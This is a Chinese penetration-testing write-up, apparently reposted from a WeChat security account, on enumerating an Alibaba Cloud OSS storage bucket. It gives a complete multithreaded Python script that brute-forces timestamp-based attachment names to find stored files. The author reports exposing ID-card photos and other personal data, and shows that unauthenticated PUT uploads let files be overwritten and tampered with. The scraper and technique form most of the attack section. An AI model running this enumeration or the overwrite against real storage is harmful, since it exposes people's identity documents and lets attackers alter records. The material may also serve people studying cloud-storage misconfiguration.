渗透实战 | 阿里云OSS存储桶的遍历

admin 2025年3月31日23:04:23评论9 views字数 2449阅读8分9秒阅读模式
原先在测一个站时通过阿里云存储桶地址无法通过工具直接遍历,感觉应该是oss的域名地址不对或者做了变更,当时暂时也没发现更改后的oss地址流量,bp后面再访问时也是抓到了新的oss地址直接将22年以前上传的所有附件给遍历到,23年以后得通过py脚本将可将近期时间上传的附件给获取到。

1、OSS爬取脚本编写

这里为啥不直接用oss工具呢?因为这个url是个客户域名后面接附件具体上传时间,刚开始信息搜集到的的阿里云地址并不能通过工具直接遍历附件,所以才简单写了个脚本去遍历。

发现附件规律

附件上传名称为年月日具体时间点,刚开始还以为末尾两个数字为1-99呢写完代码后发现不对,是秒的时间。

渗透实战 | 阿里云OSS存储桶的遍历

现在思路清晰了,来编写代码

这里配置url地址,同时满足pdfjpgjpegpng附件类型

渗透实战 | 阿里云OSS存储桶的遍历

配置时间阶段

渗透实战 | 阿里云OSS存储桶的遍历发现有效文件输出结果

渗透实战 | 阿里云OSS存储桶的遍历
全部代码
import datetimeimport requestsfrom concurrent.futures import ThreadPoolExecutorfrom requests.exceptions import RequestExceptionfrom threading import Lockimport time# 配置参数BASE_URL = "url地址"SUFFIXES = ['pdf', 'jpg', 'jpeg', 'png']FOUND_FILES = []MAX_WORKERS = 10  # 降低并发数TIMEOUT = 3  # 增加超时时间print_lock = Lock()def generate_time_points():"""时间生成器"""   start = datetime.datetime(2025, 3, 11, 10, 0)   end = datetime.datetime(2025, 3, 12, 9, 0)   delta = datetime.timedelta(minutes=1)   current = startwhile current <= end:       yield f"{current.year}{current.month:02d}{current.day:02d}{current.hour:02d}{current.minute:02d}"       current += deltadef check_file_exists(session, url, retries=3):"""带重试机制的检测"""for attempt in range(retries):       try:           resp = session.head(url, timeout=TIMEOUT, allow_redirects=False)return resp.status_code == 200       except RequestException as e:if attempt == retries - 1:               with print_lock:print(f"[!] 最终失败 {url}: {str(e)[:50]}")           time.sleep(2 ** attempt)return Falsedef worker(args):   session, time_str, num, suffix = args   num_str = f"{num:02d}"   full_code = f"{time_str}{num_str}"   target_url = f"{BASE_URL}{full_code}.{suffix}"if check_file_exists(session, target_url):       with print_lock:print(f"[+] 发现有效文件: {target_url}")return target_urlreturn Noneif __name__ == "__main__":   with requests.Session() as session:       session.trust_env = False  # 关闭自动代理检测       session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)','Connection': 'keep-alive'       })       with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:for time_str in generate_time_points():               tasks = [(session, time_str, num, suffix)for num in range(1, 61)for suffix in SUFFIXES]for result in executor.map(worker, tasks):if result:                       FOUND_FILES.append(result)print("n扫描完成,发现以下有效文件:")for file in FOUND_FILES:print(file)

OSS文件遍历扫描,在指定时间段排查云存储文件。会每分钟生成240个不同序号(01-60)和格式(PDF/图片)的文件链接,用10个线程同时检查这些文件是否存在。遇到网络问题会自动重试3次,成功找到的文件会实时显示并最终汇总列出,整个过程比手动检查快几十倍,还能避免大量无效流量消耗。

发现大量身份证照片,各种授权信息附带姓名身份证的个人信息等,较敏感就不附图了

2、OSS工具遍历

老生常谈了这里就不详细写用法了,通过bp捕捉到正确的的阿里云OSS流量后直接用工具跑了一遍,将以前时间段的附件给跑出来了。

渗透实战 | 阿里云OSS存储桶的遍历同时也存在阿里云put上传可覆盖,可达到修改附件内容效果,效果就是篡改~
渗透实战 | 阿里云OSS存储桶的遍历

内容被修改为TEST222,内容可被任意篡改

渗透实战 | 阿里云OSS存储桶的遍历

 

原文始发于微信公众号(不秃头的安全):渗透实战 | 阿里云OSS存储桶的遍历

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日23:04:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战 | 阿里云OSS存储桶的遍历https://cn-sec.com/archives/3901740.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息